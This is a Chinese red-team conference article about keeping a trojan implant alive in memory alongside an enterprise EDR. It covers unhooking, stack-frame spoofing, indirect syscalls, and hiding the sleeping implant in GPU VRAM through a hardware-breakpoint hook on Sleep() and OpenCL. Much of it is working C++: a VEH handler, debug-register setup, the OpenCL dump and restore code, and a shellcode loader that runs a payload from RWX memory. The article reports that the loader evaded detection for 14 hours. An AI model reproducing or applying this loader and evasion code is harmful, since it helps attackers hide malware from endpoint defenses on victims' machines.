Author: hunter@深蓝攻防实验室
本文为ADConf 原创议题
关于终端对抗
内存免杀的意义
Q:在当前BYOVD技术已经成熟且武器化且EDR检测能力也逐渐完善的环境下,为什么还要研究内存检测逃逸相关的技术?
A:首先要明确:高压环境下的EDR致盲目的不再是“一键卸载安全卫士/电脑管家”,而是要在企业级EDR控制端没有察觉的情况下致盲终端Agent的检测。
然而有些场景是不能完全依赖BYOVD的,我们的木马要被迫和完全体EDR共存
-
加载驱动的黑白名单。
-
EDR的R3/R0组件中有类暗桩的存在。
-
与EDR控制端通信的模块直接做在了R0里面,卸载驱动等同于直接切断通信。
-
部分场景下,根本没有系统的高权限且无法提权。
-
机器重启后,被致盲的EDR会恢复正常,权限维持的木马必须有一定存活能力。
-
……
木马“内存免杀”需要聚焦的两个阶段:
-
Loader载入Shellcode并释放植入体的整个过程。
-
植入体成功释放,核心代码线程在“运行——休眠”的过程中长期与EDR共存。
Loader原理
-
Loader外壳从某个地方(云端/本地/PE资源节等…)获取Shellcode(PIE代码),申请一段内存,将Shellcode写入并执行。Shellcode本体是通过转换工具(PengCode/donut等)将原C2客户端的PE转换成一个反射加载器。
-
Shellcode执行内置的反射加载器,重新申请内存空间,将打包的PE(植入体)释放到新内存区域。反射加载器会负责解析打包的PE文件头信息,完成重建导入表、重定位等工作。
-
通过反射加载的dll导出表找到木马植入体,执行。木马植入体进入执行——休眠周期。
EDR检测原理
EDR的标准实现方案
R3:借助API HOOK拦截敏感函数调用,跟踪参数和返回值。
主要在行为检测中应用,在内存检测中是个可选项,通过HOOK不同API实现不同的监控偏好(如NtAllocateVirtualMemory)。
R0:
-
内核回调-Windows / 内核探针(Kprobes)-Linux
-
内核钩子 – SSDT系统调用表、全局描述符表GDT、中断描述符表(IDT)钩子会和x64下的patch guard冲突,但依然有绕过方式。
-
借助ETW实现对底层调用的监控 – ETW是Windows提供的一个强大的消息跟踪机制,允许收集包括内核事件在内的各种系统级事件。通过订阅特定的ETW提供者和事件,EDR可以获得关于系统行为的详细信息。
-
硬件辅助 – Intel VT-x或AMD-V,在更低的硬件级别提供对执行环境的控制和监视。
下图为依赖内核回调触发R3 API Hook的函数调用检测方案,也是最通用的。
内存扫描关键技术
策略① – 偏向精准检测
-
R3 Hook,初筛敏感API调用;
-
利用ETW/硬件虚拟化/内核钩子等技术检测底层调用;
-
触发规则立即启动栈回溯;
-
重点扫描栈回溯过程中发现的可疑地址对应的内存。
精准检测策略主打快准狠,第一时间阻止植入体的释放或运行。但为考虑到误报和性能开销等实际问题,相对固定的规则可能会导致漏报。
策略② – 偏向持续检测
-
监控线程状态(包含线程的堆栈、运行状态等);
-
对私有内存页进行扫描(通常在线程休眠时);
-
搜索高熵区域、RWX等区域,重点标记;
-
对重点标记区提升扫描频率或重点监控该区域的读写、访问行为(可利用API Hook或底层调用的检测),直到探测到植入体相关特征。
主要为避免漏报。但同时为了降低误报,其规则可能不再是固定的模板而是个权重(或结合本地/云端AI模型来综合判定)。因此响应有一定延迟,这也就是为什么有些EDR的内存扫描开启后会允许木马正常运行一段时间再杀的原因。
32/64位程序的栈回溯
-
32位程序由于完全依赖栈实现参数传递,因此标准的栈结构是保存EBP作为基指针来访问局部变量和参数。栈回溯依赖于链式栈帧,通过保存在栈上的EBP寄存器链接,通过遍历这些链式栈帧精准可以找到每个调用的返回地址和调用者的栈帧。
-
64位下由于主要使用寄存器传参,对栈的依赖减小,并且调用约定做了优化,只使用当前RSP的偏移来访问局部变量和参数,不再保存RBP。这种优化称为“省略帧指针”(FPO),但这也给栈回溯提升了难度,通常情况下为了降低算法复杂度,栈回溯需要借助.pdata节中的RUNTIME_FUNCTION结构(动态插桩或编译器插桩等精准回溯的方式对EDR来说不现实),不过这也给攻击者带来了便利。
一个64位栈回溯的案例
对抗方案-精准检测
SYSCALL
可参考开源项目:GitHub – Dec0ne/HWSyscalls: HWSyscalls is a new method to execute indirect syscalls using HWBP, HalosGate and a synthetic trampoline on kernel32 with HWBP.
Unhook
-
方法1:将磁盘上“干净”的dll映射到当前进程中,读取.text节并覆盖被hook的dll的.text节。
-
方法2:创建一个白名单进程,读取其未被hook的dll,覆盖当前进程中dll的.text节。
-
方法3:没有白名单程序的情况下,在新进程启动加载完成dll时将其挂起,保留其中“干净”的dll快照,覆盖当前进程dll的.text节。
-
……
总结一句话:用一个“干净”的副本覆盖掉被Hook部分的代码。
Unhook效果如下:
栈回溯欺骗
注意:由于栈帧伪造是对应局部函数调用的,因此在反射加载器与核心植入体代码中实现才能达到效果最大化,因为绝大多数敏感函数的调用都在这两层的代码中;仅在“外壳”Loader中实现效果并不好。
-
重写系统API替换高风险函数,如NtAllocateVirtualMemory()等;
-
在重写的函数中,先保存现场存储当前线程上下文到一个全局结构体中,然后抬高栈顶,并PUSH 0,将真实的栈帧截断并隐藏起来;
-
在这之上部署一个假栈(伪造一些常见的返回地址制作一个栈底和看上去合理的调用链);
-
在假栈上方部署一个Gadget Frame用来做跳转(跳转回高风险函数调用前的位置,比如预先从内存中找好的JMP [RBX]片段);
-
为跳转和堆栈恢复做准备,将真正的返回地址、RBX寄存器值放入结构体暂存,然后将堆栈恢复函数fixup()的地址给RBX,最后JMP到真正的函数调用;
-
真正的函数调用完毕后会将部署的Gadget当作返回地址跳转至JMP [RBX]执行,而此时时RBX保存的是自定义方法中fixup()的地址,进入堆栈恢复函数,恢复帧栈和前面保存的寄存器,最后JMP回到原来高风险函数调用的位置。
概括:使用汇编重写敏感函数调用,在我们自己编写的调用约定中对栈进行布局,将原始栈帧隐藏在构造的假栈下面,干扰栈回溯算法的判断。在函数执行完成返回的时候再借助之前构造的gadget精准返回到原本的返回地址。
直接调用与栈帧伪造的对比如下。
直接调用:
栈帧伪造:
对抗方案-持续检测
思路整理
-
防止反射加载器特征被扫描识别
-
–自动探测并移除反射加载器在内存中的残留
-
对抗线程休眠期间的栈回溯和内存扫描
-
–实现休眠期间栈欺骗
-
–休眠期间植入体内存页不可执行
-
–休眠期间针对植入体做内存转储
可参考的经验
参考案例-1:
https://github.com/mgeeky/ThreadStackSpoofer/tree/master;
-
其利用hook Sleep()截断栈帧,以对抗线程休眠期间的栈回溯探测。该项目使用的inline hook内存特征明显,主动扫描很容易发现;
-
该项目的MySleep()中没有对内存中的植入体和加载器残留做处理。
参考案例-2:
https://github.com/vxunderground/VXUG-Papers/blob/main/GpuMemoryAbuse.cpp;利用CUDA将内存转储至VRAM。
-
该项目利用CUDA API仅适用于NVIDIA平台,通用性较低;
-
该项目是一个测试Demo,仅实现了VRAM读写功能,无法直接整合到Loader中。
关键技术说明
“无内存特征”hook
简单对常见的R3 hook技术做个总结。
Win32 hook(Windows提供的API,局限性很强)
Windows提供了一套API,允许插入钩子来监视特定类型的事件,如键盘输入、鼠标移动等。这些钩子可以是全局的或特定于线程的。
回调函数hook(可以理解为Win32 hook的扩充,功能强大但并不能用于WinAPI)
可用于监控和干预许多系统级和应用级事件。除了监控键盘和鼠标事件之外,它们还可以用于
监控消息队列:通过设置消息钩子(例如,WH_GETMESSAGE和WH_CALLWNDPROC),可以监控和修改应用程序的消息队列中的消息。
监测系统状态变化:如设置WH_SHELL钩子来监控系统的各种状态变化,例如窗口的创建和销毁、系统的休眠和唤醒等。
截获窗口活动:例如,通过WH_CBT(计算机基础训练钩子)可以监控窗口的创建、移动、大小调整等事件。
监控低级别的鼠标和键盘输入:如之前例子中的WH_KEYBOARD_LL和WH_MOUSE_LL,这些钩子可以用来实现全局的键盘和鼠标输入监控,甚至在应用程序处理它们之前拦截这些输入。
Inline hook(最通用,但需要对内存作hot patch)
通过修改目标函数的首部字节(通常是替换为跳转指令),将执行流重定向到钩子处理函数。当执行到达目标函数时,会跳转执行自定义的钩子函数。这种方式需要处理原始指令的备份和执行恢复,以确保目标函数的正常执行。
IAT/EAT hook(对动态加载的库不适用,且影响DLL的签名校验,针对ASLR还需要重定位)
通过修改应用程序的导入地址表(IAT)/DLL的导出地址表(EAT),将导入/导出的函数地址改为钩子函数的地址。主要用于拦截应用程序对DLL导出函数的调用/影响所有调用该DLL函数的应用程序。
局限
上面常见的hook多多少少都有一些缺陷,大家都在用的inline hook也因为需要修改内存而导致非常容易被检测到,不管是前面提到过的线程调用堆栈混淆的项目中使用到的hook还是minhook这类开源的hook框架都是用的这种传统的方式。
其实还有一种hook方式被忽略但又几乎天天都在用,那就是调试器。我们使用调试器的时候下个断点,轻轻松松就可以单步调试并且任意修改内存,这不也就实现了hook的效果?那么我们就需要研究一下调试器是怎么做到拦截程序执行流程的,并尝试模拟这一过程。
软件断点
软件断点主要通过修改目标程序的代码来实现,具体来说是通过替换目标地址处的指令字节为特定的断点指令。在x86架构下,这个特定的断点指令通常是INT 3(0xCC),当程序执行到达目标地址时,INT 3指令会触发一个异常,通常是一个断点异常(EXCEPTION_BREAKPOINT)。在替换目标地址处的指令之前,需要由调试器来保存该地址处的原始指令字节。
当断点触发时,控制权会转移到调试器,也可以是自定义的处理程序,在这个处理程序中可以执行自定义逻辑。
下图说明了软件断点的实现原理。
硬件断点
硬件断点是一种使用CPU硬件特性来实现的断点,它允许在不修改目标程序代码的情况下,监控程序的执行流、数据访问或处理器状态的变化。硬件断点通常通过使用CPU的调试寄存器(在x86架构中是DR0、DR1、DR2、DR3、DR6和DR7)来实现。
虽然刚刚提到的软件断点比起使用强制跳转指令(JMP)实现的Inline hook而言只需要修改一个单字节指令,但本质上依然需要修改内存,因此并没有达到真正“内存无痕”的效果。我们还是要使用硬件断点来实现,后面会详细说明硬件断点的使用方法和实现原理。
VEH
VEH(Vectored Exception Handling)是Windows操作系统中的一种异常处理机制,它允许开发者在应用程序或DLL中注册一个或多个异常处理函数,这些函数会在传统的结构化异常处理(SEH, Structured Exception Handling)之前被调用。VEH提供了一种机制,程序可以通过它捕获和处理各种异常,包括访问违规、除零错误和其他严重错误,甚至包括软件断点(INT 3)和单步执行(Trap Flag)产生的异常。
VEH通过AddVectoredExceptionHandler()和RemoveVectoredExceptionHandler()这两个API函数来管理异常处理函数(称为Vectored Exception Handler)。当异常发生时,系统会按照这些处理函数被添加的顺序调用它们,直到某个处理函数处理了该异常(返回EXCEPTION_CONTINUE_EXECUTION),或者所有的处理函数都没有处理该异常,最后交给SEH(如果存在)来处理。
访问设备内存
前面提到的案例中实现的使用GPU设备隐藏恶意代码的demo是基于CUDA开发的,但CUDA仅适用于安装有Nvidia GPU设备的环境。为了更加通用,我决定使用OpenCL重构。
OpenCL的运行环境会集成在任何一款GPU的驱动程序包中,也就是说只要电脑上有GPU(不管是集成的还是独立的)都可以直接使用OpenCL的API;至于没有GPU的设备(如服务器/虚拟机)也可以使用msiexec无感知一键部署OpenCL的CPU Runtime,计算设备将会在CPU上模拟运行,分配的“显存”也是由OpenCL Runtime管理的一块单独的内存,和调用者进程依旧是相互独立的。
下图是OpenCL的执行模型(Global Memory指的是GPU的VRAM,参与数据处理和运算的单元只能直接访问VRAM)。
这里再简单介绍一下同类可合法调用GPU设备的API。
OpenCL与CUDA:都是用于并行计算,但CUDA仅限于NVIDIA GPU,而OpenCL是开放标准,支持更广泛的硬件(包含CPU和FPGA)。
下图是OpenCL与CUDA框架的对比。这里的OpenCL driver和runtime在任何一款显卡驱动中都会集成,而CUDA driver和runtime只有Nvidia显卡才有;二者最大区别就是OpenCL由于需要保证跨平台兼容性,是通过OpenCL驱动程序间接访问设备的,而CUDA是Nvidia为自家设备研发,所以可以直接使用自己的驱动访问硬件设备。
OpenGL、DX12和Vulkan:这三者都用于图形渲染,但OpenGL是更早的标准,DX12是仅限于Windows和Xbox的微软技术,而Vulkan是最新的、旨在提供跨平台支持并优化硬件性能的API。
OpenGL和OpenCL:虽然名称相似且都由Khronos Group管理,但它们服务于不同目的:OpenGL专注于图形,OpenCL专注于通用计算。
技术实现
-
准备工作——创建全局OpenCL内存对象,并设置Sleep()的硬件断点,等待程序调用Sleep();
-
在自定义VEH中记录当前植入体内存页相关信息并将反射加载器残留内存页释放;
-
修改VEH暂存的线程上下文结构体中的RIP,引导其返回到自定义Sleep()方法;
-
在自定义Sleep()方法中将可疑内存页写入OpenCL内存对象的缓冲区,通过OpenCL库写入VRAM;
-
在自定义Sleep()方法中关闭内存页X权限;
-
在自定义Sleep()方法中暂存返回地址并将真实返回地址覆盖为0x00,截断栈帧;
-
在自定义Sleep()方法中调用真正的Sleep();
-
在自定义Sleep()方法返回前恢复内存页。访问OpenCL内存对象的缓冲区,取出之前转储的数据;重新开启内存页X权限;恢复暂存的返回地址。
-
正常返回到植入体代码的CALL Sleep()下一条指令位置,进入下一循环周期。
总的来说,该植入体隐藏技术方案是基于之前在Defence.one会议上分享的动态加解密方案的变体,将内存中加密改成了转储VRAM,将常规的inline hook换成了没有内存特征的硬件断点hook。
注意:由于该方案是基于对特定函数调用进行Hook实现的,因此建议内置在作为“外壳”的Loader中。可与前面的方案配合实现互补。
参考方案1:
参考方案2:
自定义VEH回调
下面的伪代码对应触发硬件断点后需要进入的自定义VEH函数以及VEH返回时需要重定向进入的mySleep()。
// 定义全局对象
// 自定义VEH回调函数,由硬件断点触发(自动修改页权限,自动栈回溯追踪反射dll加载的内存页)
LONG CALLBACK myVEHHandler_4(EXCEPTION_POINTERS* pExceptionInfo) {
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && (DWORD_PTR)pExceptionInfo->ContextRecord->Rip == hwbp.mySleepAddr) {
MEMORY_BASIC_INFORMATION mbi;
if (((SIZE_T(WINAPI*)(LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T))hwbp.myVirtualQueryAddr)(*reinterpret_cast(pExceptionInfo->ContextRecord->Rsp), &mbi, sizeof(mbi))) {
// 在第一个执行周期中释放反射加载器的内存
if (hwbp.shellcodeAddr != static_cast(mbi.AllocationBase)) {
if (!VirtualFree(hwbp.shellcodeAddr, 0, MEM_RELEASE)) {
exit(-1);
}
// 释放内存并将指针指向反射加载的植入体并更新内存页相关信息
// 转储进VRAM然后清除临时buffer
}
else {
// 更新OpenCl的buffer,内存页相关信息保持不变
}
}
else {
exit(-1);
}
// 通过指针调用自己写的Sleep后手动返回(手动重设Rip和线程上下文)
hwbp.SleepTime = (DWORD)pExceptionInfo->ContextRecord->Rcx;
pExceptionInfo->ContextRecord->Rip = (DWORD64)hwbp.mySleep;
pExceptionInfo->ContextRecord->ContextFlags = CONTEXT_FULL;
HANDLE hHookThread = OpenThread(THREAD_ALL_ACCESS, FALSE, GetCurrentThreadId());
if (!hHookThread) {
exit(-1);
}
SetThreadContext(hHookThread, pExceptionInfo->ContextRecord);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
// 自己实现的Sleep
void WINAPI HardwareBP::mySleep(DWORD dwMilliseconds)
{
// 将返回地址暂时改为0,切断栈回溯
// 设置RW
// 清空植入体内存页
// 临时解Hook
// 调用原始Sleep函数
Sleep(hwbp.SleepTime);
// 重新Hook
// 取回植入体
// 清理堆
// 解XOR
// 设置RWX
// 恢复返回地址
}
接下来详细解释一下伪代码中的几个关键步骤分别做了什么工作。
配置硬件断点
首先讲一下硬件断点配置中最关键的寄存器Dr7。
Dr7用于控制和管理硬件断点,它包含多个位字段,用于控制和配置硬件断点的行为。以下是DR7寄存器的一些关键位字段及其功能。
L0, L1, L2, L3(0, 2, 4, 6位):这些局部使能位用于控制每个硬件断点(DR0-DR3)是否启用。如果对应的位被设置为1,则相应的断点被启用。
G0, G1, G2, G3(1, 3, 5, 7位):这些全局使能位也用于控制每个硬件断点(DR0-DR3)是否启用,但它们是从全局的角度进行控制。这意味着,即使在任务切换时,这些断点也仍然有效。
LE和GE位(8和9位):这些位用于控制局部和全局断点是否对处理器的所有任务有效。通常,这些位在现代操作系统中不经常使用,因为操作系统会负责管理这些设置。
R/W0, R/W1, R/W2, R/W3(16-17, 20-21, 24-25, 28-29位):这些字段用于设置每个硬件断点的触发条件。它们控制断点是在数据读取时、数据写入时,还是在指令执行时触发。值0表示断点被禁用,1表示断点在写入时触发,2表示在I/O读写时触发,3表示断点在数据读取或写入时触发。
Len0, Len1, Len2, Len3(18-19, 22-23, 26-27, 30-31位):这些字段用于定义每个断点监视的内存区域的大小。可以设置为1(表示1字节)、2(表示2字节)、4(表示4字节)或8(64位模式下表示8字节)。
下面是一张英特尔提供的寄存器使用说明图。
下面这段代码示例用来设置硬件断点,需要注意一点,硬件断点是线程相关的,也就是说在当前线程中设置的硬件断点在其他线程中不生效。
void SetHardwareBreakpoint(HANDLE thread, void* address) {
CONTEXT context = {0};
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
// 获取线程的当前上下文
if(GetThreadContext(thread, &context)) {
// 设置DR0为我们的断点地址
context.Dr0 = reinterpret_cast(address);
// 设置断点条件,例如执行断点
context.Dr7 |= 0x1; // 启用DR0断点
// 应用修改后的上下文到线程
SetThreadContext(thread, &context);
}
}
解除硬件断点也很简单,需要清空Dr0并清除Dr7中的标记位。
void ClearHardwareBreakpoint(HANDLE thread) {
CONTEXT context = {0};
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
// 获取线程的当前上下文
if (GetThreadContext(thread, &context)) {
// 清除DR0断点地址
context.Dr0 = 0;
// 清除DR7的L0位以禁用DR0断点
context.Dr7 &= ~0x1;
// 应用修改后的上下文到线程
SetThreadContext(thread, &context);
}
}
访问计算设备(GPU)
和CUDA一样,OpenCL也有一套API来提供对GPU设备的访问。在这个场景中我们首先需要访问GPU的存储器,需要用到clCreateBuffer()方法。示例如下。
// 创建一个OpenCL内存对象(buffer)。
// 这个buffer是一个_cl_mem *对象,在GPU或其他设备上有对应的存储空间,可以进行读写操作(CL_MEM_READ_WRITE),并且在创建时,会从主机内存(即CPU内存)复制数据到设备上(CL_MEM_COPY_HOST_PTR)。
// dataSize参数指定了buffer的大小,(void*)shellcode是要复制到buffer的数据的指针,context是一个OpenCL上下文,代表了OpenCL运行环境,包括设备、内存对象等。
buffer = clCreateBuffer(context, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, dataSize, (void*)shellcode, NULL);
重点说明一下CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR,其中CL_MEM_READ_WRITE是默认的,CL_MEM_COPY_HOST_PTR的含义是将内存中临时对象中保存的数据拷贝到VRAM中,并且CPU不能直接通过系统内存访问分配的数据,只能在将数据拷贝回来的时候才能访问。这也就确保了植入体在线程休眠期间驻留的绝对安全。
如果此时扫描进程内存,是可以在buffer的堆地址附近找到我们刚刚拷贝的植入体代码数据的(没有X权限),而这个_cl_mem *的对象是一个不透明的数据结构,具体实现细节由OpenCL实现自身管理且对开发者是隐藏的。
经过多次验证测试,这里临时保存的数据只有在_cl_mem *对象被彻底释放后才会消失,但Loader本身并不会主动对这段内存进行读写操作,因为它是由OpenCL Runtime管理的。如果想进一步降低这段内存被标记的可能性,可以做一个简单的XOR加密处理(XOR不会显著增加信息熵)。
// 这里使用的密钥是全局对象初始化时候随机生成的,写在了类的构造函数中
void HardwarePB::scEncryptDecrypt(char* data, size_t size) {
size_t keyIndex = 0;
size_t keySize = strlen(myKey);
for (size_t i = 0; i < size; ++i) {
data[i] ^= myKey[keyIndex];
keyIndex = (keyIndex + 1) % keySize;
}
}
下面就需要将数据写入VRAM中,由于调用OpenCL库的目的基本都是科学运算,为合理化我们的写入行为还需要再调用GPU对传入的数据做一些基础的计算工作。因此又做一个简单的XOR加密算法,但这个算法会在OpenCL运行时中动态编译并由GPU来执行。
下面代码用来定义一个由OpenCL内核动态编译的算法(实际使用OpenCL的大型项目中,这类代码都是以外置的文本文件形式存在)。
// 定义加密和解密内核的源代码
const char* source =
"__kernel void fun(__global char* data) {n"
" int gid = get_global_id(0);n"
" const char k = 0x6C;n"
" data[gid] ^= k;n"
"}n";
program = clCreateProgramWithSource(context, 1, &source, NULL, NULL);
clBuildProgram(program, 1, &device, NULL, NULL, NULL);
encrypt_kernel = clCreateKernel(program, "fun", NULL);
decrypt_kernel = clCreateKernel(program, "fun", NULL);
在加解密内核算法动态编译后就可以直接调用相应对象来执行了。这里用到的API是clSetKernelArg()方法。
// 这里将之前创建的buffer设置为encrypt_kernel函数的第一个参数(参数索引从0开始)。encrypt_kernel是一个在设备上执行的函数,在GPU上进行并行计算。
clSetKernelArg(encrypt_kernel, 0, sizeof(cl_mem), &buffer);
然后就是启动队列,开始并完成计算任务。
// 在命令队列queue上排队执行内核函数encrypt_kernel。1表示工作项的维度是1,&dataSize定义了这个维度上的工作项数量。所以这里是在队列上启动dataSize个工作项来并行执行encrypt_kernel函数。
clEnqueueNDRangeKernel(queue, encrypt_kernel, 1, NULL, &dataSize, NULL, 0, NULL, NULL);
// 等待queue上的所有命令完成。这是一个阻塞操作,会阻塞主线程,直到队列上的所有命令(包括上面的encrypt_kernel函数)都执行完成。
clFinish(queue);
相对应的,每个休眠周期结束后还要有取出植入体的环节。
// 和前面的加密相同,设置一个名为decrypt_kernel的OpenCL内核函数的参数。它指定内核函数的第一个参数是之前创建的OpenCL内存对象(buffer)。
clSetKernelArg(decrypt_kernel, 0, sizeof(cl_mem), &buffer);
// 解密,加密逆过来。
clEnqueueNDRangeKernel(queue, decrypt_kernel, 1, NULL, &dataSize, NULL, 0, NULL, NULL);
// 阻塞线程,等待队列任务完成。
clFinish(queue);
// 给一个临时堆块用来临时放植入体
outputData = new char[dataSize];
// 将解密后的数据从计算设备的内存(即OpenCL内存对象buffer)读回到主机内存(outputData指向的空间)。CL_TRUE参数指示这个读操作是阻塞的,即函数调用将等待直到所有数据被读回并复制到outputData指向的内存区域完成。
clEnqueueReadBuffer(queue, buffer, CL_TRUE, 0, dataSize, outputData, 0, NULL, NULL);
在Windows 10及以上系统的任务管理器中,如果仔细观察可以发现每个周期触发读写时GPU设备的运算核心、总线带宽、GPU专有内存等占用率都会有小幅度变化。但作为科学计算使用的标准库,只要不是挖矿,在文件本身免杀的情况下EDR都不会对其调用GPU设备的行为作出干涉。
效果测试
测试条件如下:
•Windows 10 22H2;
•某国外EDR企业版,防护全开,特征库和检测引擎升级到最新版;
•反射加载器使用donut生成,带有一些恶意特征;
•testoop.exe使用了本文中的对抗方案,noptest.exe仅做了休眠期间的植入体加密;
•设置植入体休眠间隔5-10秒。
测试用main()函数以及说明如下:
// hwbp是封装的工具类示例化对象,作全局对象。后续发布类库会在头文件中详细说明使用方法。
int main() {
/* ---- 模拟从其他地方(如服务器/加密文件等)获取shellcode后清除副本 ---- */
// 打开二进制文件
std::ifstream file("C:\Users\Administrator\Desktop\payload.bin", std::ios::binary);
if (!file.is_open()) {
std::cerr << "Failed to open shellcode file." << std::endl;
return -1;
}
// 获取文件大小
file.seekg(0, std::ios::end);
std::streampos size = file.tellg();
file.seekg(0, std::ios::beg);
// 读取文件内容到数组
char* buffer = new char[size];
if (!file.read(buffer, size)) {
std::cerr << "Failed to read shellcode file." << std::endl;
delete[] buffer;
return -1;
}
// 关闭文件
file.close();
/* ---- 模拟从其他地方(如服务器/加密文件等)获取shellcode后清除副本 ---- */
/* ---- 工具类使用固定模版 ---- */
hwbp.setHardwareBreakpoint();
AddVectoredExceptionHandler(1, myVEHHandler);
// 记录shellcode体积并二次加密转储到VRAM
hwbp.shellcodeSize = size;
// XOR加密
hwbp.scEncryptDecrypt(buffer, size);
hwbp.hiddenTool.writeToGPUVram(buffer);
/* ---- 工具类使用固定模版 ---- */
// 为shellcode首次执行做准备,分配内存空间并拷贝,最后删除内存中的临时副本;为对抗API检测,实际环境中这里建议使用Syscall
LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
std::cerr << "Failed to allocate memory." << std::endl;
return -1;
}
memcpy(mem, buffer, size);
delete[] buffer;
/* ---- 工具类使用固定模版 ---- */
// 全局记录shellcode内存位置
hwbp.shellcodeAddr = (char*)mem;
// XOR解密
hwbp.scEncryptDecrypt((char*)mem, size);
/* ---- 工具类使用固定模版 ---- */
// 执行shellcode,释放植入体。每次执行Sleep()将会通过硬件断点进入自定义VEH回调函数,在回调函数中清除内存中的代码,睡眠后再调用OpenCL内核从VRAM中取回
((void(*)())mem)();
return 0;
}
直接看效果如下:
木马上线后,执行了system命令、whoami命令、浏览了文件系统。
运行几分钟后,未使用该方案的noptest.exe被提示系统内存中检测到Trojan.Win64.Cometer.gen,随后进程被强制Kill;使用该方案的testoop.exe则持续存活,截止截图时已达14小时。
参考链接
https://xz.aliyun.com/t/14310?time__1311=GqAxuD9QGQKxlxGgx%2BxCwofKG8FWGCYFfeD#toc-3
https://www.vaadata.com/blog/antivirus-and-edr-bypass-techniques/
https://avantguard.io/en/blog/overload-mapping-vs.-memory-scanners
https://github.com/Dec0ne/HWSyscalls
https://dtsec.us/2023-09-15-StackSpoofin/
https://github.com/mgeeky/ThreadStackSpoofer/tree/master
https://github.com/vxunderground/VXUG-Papers/blob/main/GpuMemoryAbuse.cpp
原文始发于微信公众号(认知独省):终端对抗防御逃逸-内存免杀